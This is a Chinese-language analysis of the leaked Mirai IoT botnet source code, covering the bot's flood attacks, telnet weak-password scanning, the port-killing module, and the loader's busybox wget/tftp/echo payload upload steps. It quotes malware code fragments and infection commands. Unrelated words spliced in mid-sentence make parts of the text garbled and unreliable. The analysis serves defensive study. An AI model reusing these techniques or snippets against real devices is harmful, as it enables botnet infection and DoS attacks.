移动硬盘的英文盘翻译盘英语怎么说-boon


2023年3月30日发(作者:安徽会计)

mirai源代码c语⾔,Mirai源码分析

Author:xd0ol1(知道创宇404实验室)

1.背景概述

最近的德国断⽹事件让Mirai恶意程序再次跃⼊公众的视线,相对⽽⾔,⽬前的IoT领域对于恶意程序还是⼀⽚蓝海,因此吸引了越来越多的

⼈开始涉⾜这趟征程。⽽作为安全研究者,我们有必要对此提⾼重视,本⽂将从另⼀⾓度,即以Mirai泄露的源码为例来⼩窥其冰⼭⼀⾓。

2.源码分析

loader/src将payload上传到受感染的设备

mirai/bot在受感染设备上运⾏的恶意payload

mirai/cnc恶意者进⾏控制和管理的接⼝

mirai/tools提供的⼀些⼯具

其中,cnc部分是Go语⾔编写的,余下都由C语澎的拼音 ⾔编码完成。我们知道payload是在受害者设备上直接运⾏的那部分恶意代码,⽽loader的

作⽤就是将其drop到这些设备上,⽐如宏病毒、js下载者等都属于loader的范畴。对恶意开发者来说,最关键的也就是设计好loader和

payload的功能,毕竟这与恶意操作能否成功息息相关,同时它们也是和受害者直接接触的那部分代码,因此这⾥的分析重点将集中在这两

部分代码上,剩下的cnc和tools只做个概要分析。在详细分析之前,我们先给出Mirai对应的⽹络拓扑关系图,可以有个直观的认识:

2.1payload分析

这部分代码的主要功能是发起DoS攻击以及扫描其它可能受感染的设备,代码在mirai/bot⽬录,可简单划分为如下⼏个模块:

我们⾸先看⼀下public模块,主要是⼀些常⽤的公共函数,供其它⼏个模块调⽤:

/******checksum.c******

*构造往开头的成语 数据包原始套接字时会⽤到校验和的计算

*/

//计算数据包ip头中的校验和

uint16_tchecksum_generic(uint16_t*,uint32_t);

//计算数据包tcp头中的校验和

uint16_tchecksum_tcpudp(structiphdr*,void*,uint16_t,int);

/******rand.c******/

//初始化随机数因⼦

voidrand_init(void);

//⽣成⼀个随机数

uint32_trand_next(void);

//⽣成特定长度的随机字符串

voidrand_str(char*,int);

//⽣成包含数字字母的特定长度的随机字符串

voidrand_alphastr(uint8_t*,int);

/******resolv.c******

*处理域名的解析,参考DNS报⽂格式

*/

//域名按字符\'.\'进⾏划分,并保存各段长度,构造DNS请求包时会⽤到

voidresolv_domain_to_hostname(char*,char*);

//处理DNS响应包中的解析结果,可参照DNS数据包结构

staticvoidresolv_skip_name(uint8_t*reader,uint8_t*buffer,int*count);

//构造DNS请求包向8.8.8.8进⾏域名解析,并获取响应包中的IP

structresolv_entries*resolv_lookup(char*);

//释放⽤来保存域名解析结果的空间

voidresolv_entries_free(structresolv_entries*);

/******table.c******

*处理硬编码在table中的数据

*/

//初始化table中的成员

voidtable_init(void);

//解密table中对应id的成员

voidtable_unlock_val(uint8_tid);

//加密table中对应id的成员

voidtable_lock_val(uint8_tid);

//取出table中对应id的成员

char*table_retrieve_val(intid,int*len);

//向table中添加成员

staticvoidadd_entry(uint8_tid,char*buf,intbuf_len);

//和密钥key进⾏异或操作,即table中数据的加密或解密

staticvoidtoggle_obf(uint8_tid);

/******util.c******/

......

//在内存中查找特定的字节序

intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);

//在具体字符串中查找特定的⼦字符串,忽略⼤⼩写

intutil_stristr(char*haystack,inthaystack_len,char*str);

//获取本地ip信息

ipv4_tutil_local_addr(void);

//读取描述符fd对应⽂件中的字符串

char*util_fdgets(char*buffer,intbuffer_size,intfd);

......

其中,⽤的⽐较多的有rand.c中的rand_next函数,即⽣成⼀个整型随机数,以及table.c中的table_unlock_val、table_retrieve_val和

table_lock_val函数组合,即获取table中的数据,程序中⽤到的⼀些信息是硬编码后保存到table中的,如果获取就要⽤到这个组合,其中

涉及到简单的异或加密和解密,这⾥举个例⼦:

//保存到table中的硬编码信息

add_entry(TABLE_EXEC_SUCCESS,\"x4Ex4Bx51x56x47x4Cx4Bx4Cx45x02x56x57x4Cx12x22\",15);

//调⽤table_unlock_val解密

//初始化key,其中table_key=0xdeadbeef;

uint8_tk1=table_key&0xff,//0xef

k2=(table_key>>8)&0xff,//0xbe

k3=(table_key>>16)&0xff,//0xad

k4=(table_key>>24)&0xff;//0xde

//循环异或

for(i=0;ival_len;i++)

{

val->val[i]^=k1;

val->val[i]^=k2;

val->val[i]^=k3;

val->val[i]^=k4;

}

/*解密后的信息:listeningtun0

*这时调⽤table_retrieve_val就可以获取到所需信息

*最后调⽤table_lock_val加密,同table_unlock_val调⽤,利⽤的是两次异或后结果不变的性质

*不过考虑到异或的交换律和结合律,上述操作实际上也就相当于各字节异或⼀次0x22

*/

接着来看attack模块,此模块的作⽤就是解析下发的攻击命令并发动DoS攻击,attack.c中主要就是下述两个函数:

/******attack.c******/

//按照事先约定的格式解析下发的攻击命令,即取出攻击参数

voidattack_parse(char*buf,intlen);

//调⽤相应的DoS攻击函数

voidattack_start(intduration,ATTACK_VECTORvector,uint8_ttargs_len,structattack_target*targs,

uint8_topts_len,structattack_option*opts)

{

......

elseif(pid2==0)

{

//⽗进程DoS持续时间到了后由⼦进程负责kill掉

sleep(duration);

kill(getppid(),9);

exit(0);

}

......

if(methods[i]->vector==vector)

{

#ifdefDEBUG

printf(\"[\");

#endif

//C语⾔函数指针实现的C++多态

methods[i]->func(targs_len,targs,opts_len,opts);

break;

}

}

......

}

}

⽽attack_app.c、attack_gre.c、attack_tcp.c和attack_udp.c中实现了具体的DoS攻击函数:

/*1)StraightupUDPflood2)ValveSourceEnginequeryflood

*3)DNSwatertorture4)PlainUDPfloodoptimizedforspeed

*/

voidattack_udp_generic(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_udp_vse(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_udp_dns(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_udp_plain(uint8_t,structattack_target*,uint8_t,structattack_option*);

/*1)SYNfloodwithoptions2)ACKflood

*3)ACKfloodtobypassmitigationdevices

*中秋节佳句短语 /

voidattack_tcp_syn(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_tcp_ack(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_tcp_stomp(uint8_t,structattack_target*,uint8_t,structattack_option*);

//1)GREIPflood2)GREEthernetflood

voidattack_gre_ip(uint8_t,structattack_target*,uint8_t,structattack_option*);

voidattack_gre_eth(uint8_t,structattack_target*,uint8_t,structattack_option*);

//HTTPlayer7flood

voidattack_app_http(uint8_t,structattack_target*,uint8_t,structattack_option*);

可以看到这⾥设计的函数接⼝是统⼀的,因⽽可以定义如下函数指针,通过这种⽅式就可以实现和C++多态同样的功能,⽅便进⾏扩展:

typedefvoid(*ATTACK_FUNC)(uint8_t,structattack_target*,uint8_t,structattack_option*);

实际上attack这个模块是可以完整剥离出来的,只需在attack_parse或attack_start函数上加⼀层封装就可以了,要加⼊其它DoS攻击函数

只需符合ATTACK_FUNC的接⼝即可。

再来看scanner模块,其功能就是扫描其它可能受感染的设备,如果能满⾜telnet弱⼝令登录则将结果进⾏上报,恶意者主要借此扩张僵⼫

⽹络,scanner.c中的主要函数如下:

/******scanner.c******/

//将接收到的空字符替换为\'A\'

intrecv_strip_null(intsock,void*buf,intlen,intflags);

//⾸先⽣成随机ip,⽽后随机选择字典中的⽤户名密码组合进⾏telnet登录测试

voidscanner_init(void);

//如果扫描的随机ip有回应,则建⽴正式连接

staticvoidsetup_connection(structscanner_connection*conn);

//获取随机ip地址,特殊ip段除外

staticipv4_tget_random_ip(void);

//向auth_table中添加字典数据

staticvoidadd_auth_entry(char*enc_user,char*enc_pass,uint16_tweight);

//随机返回⼀条auth_table中的记录

staticstructscanner_auth*random_auth_entry(void);

//上报成功的扫描结果

staticvoidreport_working(ipv4_tdaddr,uint16_tdport,structscanner_auth*auth);

//对字典中的字符串进⾏异或解密

staticchar*deobf(char*str,int*len);

为了提⾼扫描效率,程序对随机⽣成的IP会先通过构造的原始套接字进⾏试探性连接,如果有回应才进⾏后续的telnet登录测试,⽽这个交

互过程和后⾯的loader与感染节点建⽴telnet交互后上传恶意payload⽂件有重复,因此这⾥就不展开了,可以参考后⾯的分析。此外,弱

⼝令字典同样采⽤了硬编码的⽅式,解密也是采⽤的异或操作,这和前⾯table.c中的情形是相似的,也不赘述了。

最后我们来看下kill模块,此模块主要有两个作⽤,其⼀是关闭特定的端⼝并占⽤,另⼀是删除特定⽂件并kill对应进程,简单来说就是排除

异⼰。我们看下其中kill掉22端⼝的代码:

/******kill.c******/

......

//查找特定端⼝对应的的进程并将其kill掉

if(killer_kill_by_port(htons(22)))

{

#ifdefDEBUG

printf(\"[killer]Killedtcp/22(SSH)n\");

#endif

}

//通过bind进⾏端⼝占⽤

tmp_bind__port=htons(22);

if((tmp_bind_fd=socket(AF_INET,SOCK_STREAM,0))!=-1)

{

bind(tmp_bind_fd,(structsockaddr*)&tmp_bind_addr,sizeof(structsockaddr_in));

listen(tmp_bind_fd,1);

}

......

另外两处kill掉23端⼝和80端⼝的代码与此类似,在killer_kill_by_port函数中实现了通过端⼝来查找进程的功能,其中:

/proc/net/tcp记录了所有tcp连接的情况

/proc/pid/exe包含了正在进程中运⾏的程序链接

/proc/pid/fd包含了进程打开的每⼀个⽂件的链接

/proc/pid/status包含了进程的状态信息

此外,程序将通过readdir函数遍历/proc下的进程⽂件夹来查找特定⽂件,⽽readlink函数可以获取进程所对应程序的真实路径,这⾥会查

找与之同类的恶意程序anime,如果找到就删除⽂件并kill掉进程:

//Ifpathcontains\".anime\"kill.

if(util_stristr(realpath,rp_len-1,table_retrieve_v沧海一声笑 al(TABLE_KILLER_ANIME,NULL))!=-1)

{

unlink(realpath);

kill(pid,9);

}

同时,如果/proc/$pid/exe⽂件匹配了下述字段,对应进程也要被kill掉:

REPORT%s:%s

HTTPFLOOD

LOLNOGTFO

x58x4Dx4Ex4Ex43x50x46x22

zollard

2.2loader分析

这部分代码的功能就是向感染设备上传(wget、tftp、echo⽅式)对应架构的payload⽂件,loader/src的⽬录结构如下:

headers/头⽂件⽬录

binary.c将bins⽬录下的⽂件读取到内存中,以echo⽅式上传payload⽂件时⽤到

connection.c判断loader和感染设备telnet交互过程中的状态信息

r主函数

server.c向感染设备发起telnet交互,上传payload⽂件

telnet_info.c解析约定格式的telnet信息

util.c⼀些常⽤的公共函数

从功能逻辑上看,还需要mirai/tools/的配合来监听上报的telnet信息,因为main函数中只能从stdin读取对应信息:

//Readfromstdin

while(TRUE)

{

charstrbuf[1024];

if(fgets(strbuf,sizeof(strbuf),stdin)==NULL)

break;

......

memset(&info,0,sizeof(扣人心弦的拼音 structtelnet_info));

//解析telnet信息

if(telnet_info_parse(strbuf,&info)==NULL)

接下来我们对这块内容进⾏详细的分析,同样先看下那些公共函数,也就是util.c⽂件,如下:

/******util.c******/

//输出地址addr处开始的len个字节的内存数据

voidhexDump(char*desc,void*addr,intlen);

//bind可⽤地址并设置socket为⾮阻塞模式

intutil_socket_and_bind(structserver*srv);

//查找字节序列中是否存在特定的⼦字节序列

intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);

//发送socket数据包

BOOLutil_sockprintf(intfd,constchar*fmt,...);

//去掉字符串⾸尾的空格字符

char*util_trim(char*str);

其中⽤的最经常的是util_sockprintf函数,简单理解就是send发包,但每次的参数个数是可变的。

继续,虽然loader的主要功能在server.c中,但分析它之前我们需要看下余

下的3个c⽂件,因为很多调⽤的功能是在其中实现的,⾸先是binary.c⽂件中的函数:

/******binary.c******/

//bin_list初始化,读取所有bins/dlr.*⽂件

BOOLbinary_init(void)

{

......

//匹配所有bins/dlr.*⽂件,结果存放pglob

if(glob(\"bins/dlr.*\",GLOB_ERR,NULL,&pglob)!=0)

......

}

//按照不同体系架构获取相应的⼆进制⽂件

structbinary*binary_get_by_arch(char*arch);

//将指定的⼆进制⽂件读取到内存中

staticBOOLload(structbinary*bin,char*fname);

即将编译好的不同体系架构的⼆进制⽂件读取到内存中,当loader和感染设备建⽴telnet连接后,如果不得不通过echo命令来上传

payload,那么这些数据就会⽤到了。

接着来看telnet_info.c⽂件中的函数,如下:

/******telnet_info.c******/

//初始化telnet_info结构的变量

structtelnet_info*telnet_info_new(char*user,char*pass,char*arch,

ipv4_taddr,port_tport,structtelnet_info*info);

//解析节点的telnet信息,提取相关参数

structtelnet_info*telnet_info_parse(char*str,structtelnet_info*out);

即解析telnet信息格式并存到telnet_info结构体中,通过获取这些信息就可以和受害者设备建⽴telnet连接了。

然后是connection.c⽂件中的函数,主要⽤来判断telnet交互中的状态信息,如下,只列出部分:

/******connection.c******/

//判断telnet连接是否顺利建⽴,若成功则发送回包

intconnection_consume_iacs(structconnection*conn);

//判断是否收到login提⽰信息

intconnection_consume_login_prompt(structconnection*conn);

//判断是否收到password提⽰信息

intconnection_consume_password_prompt(structconnection*conn);

//根据ps命令返回结果kill掉某些特殊进程

intconnection_consume_psoutput(structconnection*conn);

//判断系统的体系架构,即解析ELF⽂件头

intconnection_consume_arc篱落疏疏一径深全诗 h(structconnection*conn);

//判断采⽤哪种⽅式上传payload(wget、tftp、echo)

intconnection_consume_upload_methods(structconnection*conn);

//判断drop的payload是否成功运⾏

intconnection_verify_payload(structconnection*conn);

//对应的telnet连接状态为枚举类型

enum{

TELNET_CLOSED,//0

TELNET_CONNECTING,//1

TELNET_READ_IACS,//2

TELNET_USER_PROMPT,//3

TELNET_PASS_PROMPT,//4

......

TELNET_RUN_BINARY,//18

TELNET_CLEANUP//19

}state_telnet;

这⾥要提⼀下程序在发包时⽤到的⼀个技巧,⽐如下⾯的代码:

util_sockprintf(conn->fd,\"/bin/busyboxwget;/bin/busyboxtftp;\"TOKEN_QUERY\"rn\");

//⽤在其它命令后作为⼀种标记,可判断之前的命令是否执⾏

#defineTOKEN_QUERY\"/bin/busyboxECCHI\"

//如果回包中有如下提⽰,则之前的命令执⾏了

#defineTOKEN_RES古诗三百首 三年级 PONSE\"ECCHI:appletnotfound\"

好了,⾄此我们已经知道如何将不同架构的⼆进制⽂件读到内存中、如何获取待感染设备的telnet信息以及如何判断telnet交互过程中的状

态信息,那么下⾯就可以开始server.c⽂件的分析了,这⾥列出⼏个主要函数:

/******server.c******/

//判断能否处理新的感染节点

voidserver_queue_telnet(structserver*srv,structtelnet_info*info);

//处理新的感染节点

voidserver_telnet_probe(structserver*srv,structtelnet_info*info);

//事件处理线程

staticvoid*worker(void*arg)

{

stru横眉冷对 ctserver_worker*wrker=(structserver_worker*)arg;

structepoll_eventevents[128];

bind_core(wrker->thread_id);

while(TRUE)

{

//等待事件的产⽣

inti,n=epoll_wait(wrker->efd,events,127,-1);

if(n==-1)

perror(\"epoll_wait\");

for(i=0;i

handle_event(wrker,&events[i]);

}

}

//事件处理

staticvoidhandle_event(structserver_worker*wrker,structepoll_event*ev);

由于loader可能需要处理很多的感染节点信息,因⽽设计成了多线程⽅式。对于每⼀个建⽴的telnet连接将采⽤epoll机制来做事件触发,相

⽐select机制会更有优势,所以当loader通过获取的telnet信息连接感染设备后就开始等待相应事件,这其实是通过编写代码来模拟⼀个简

单的渗透过程,即先发送请求包⽽后根据返回包判断并确定后续的操作,主要包括以下⼏步,对应的代码在handle_event函数中:

1)通过待感染节点的telnet⽤户名和密码成功登录;

2)执⾏/bin/busyboxps,根据返回结果kill掉某些特殊进程;

3)执⾏/bin/busyboxcat/proc/mounts,根据返回结果切换到可写⽬录;

4)执⾏/bin/busyboxcat/bin/echo,通过返回结果解析/bin/echo这个ELF⽂件的头部来判断体系架构,即其中的e_machine字段;

5)选择⼀种⽅式上传对应的payload⽂件,当然⾸先需要进⾏判断:

//发请求包

util_sockprintf(conn->fd,\"/bin/busyboxwget;/bin/busyboxtftp;\"TOKEN_QUERY\"rn\");

//在返回包中进⾏判断

if(util_memsearch(conn->rdbuf,offset,\"wget:appletnotfound\",22)==-1)

conn->_method=UPLOAD_WGET;

elseif(util_memsearch(conn->rdbuf,offset,\"tftp:appletnotfound\",22)==-1)

conn->_method=UPLOAD_TFTP;

else

conn->_method=UPLOAD_ECHO;

oader同时⽀持wget、tftp、echo的⽅式来上传payload,其中wget和tftp服务器的相关信息在创建server时需要给出:

structserver*server_create(uint8_tthreads,uint8_taddr_len,ipv4_t*addrs,uint32_tmax_open,

char*wghip,port_twghp,char*thip);//wget服务器的ip和port,tftp服务器的ip

6)执⾏payload并清理。

通过上述这⼏个简单的步骤,loader就能成功实现对受害者节点的感染了。

2.3cnc与tools简单分析

cnc⽬录主要提供⽤户管理的接⼝、处理攻击请求并下发攻击命令:

处理管理员登录、创建新⽤户以及初始化攻击

向感染的bot节点发送命令

处理⽤户的攻击请求

管理感染的bot节点

数据库管理,包括⽤户登录验证、新建⽤户、处理⽩名单、验证⽤户的攻击请求

程序⼊⼝,开启23端⼝和101端⼝的监听

⽽tools⽬录主要提供了⼀些⼯具,相应的功能如下:

enc.c对数据进⾏异或加密处理

nogdb.c通过修改elf⽂件头实现反gdb调试

监听payload(bot)扫描后上报的telnet信息,并将结果交由loader处理

single_load.c另⼀个loader实现

wget.c实现了wget⽂件下载

3.后记

总体来看Mirai源码代码量不⼤⽽且编码风格⽐较清晰,理解起来并不难。但是有些地⽅逻辑上还存在瑕疵,例如:

//***loader/src/util.c***查找字节序列中是否存在特定的⼦字节序列

//逻辑不对,util_memsearch(\"aabc\",4,\"abc\",3)就不满⾜

intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);

但作为IoT下的恶意程序源码还是很值得参考的,特别是随着最近新变种的出现。可想⽽知变种会加⼊更多的反调试⼿段来阻碍分析,⽽且

交互的数据包会更多的采⽤加密处理,这点还是很容易的,⽐如在原先异或的基础上加个查表操作,同时对于不同漏洞的利⽤也会更加的模

块化。正因如此,研究其最初的源码是⼗分有必要的。

4.参考链接

更多推荐

attack是什么意思ack的用法读音典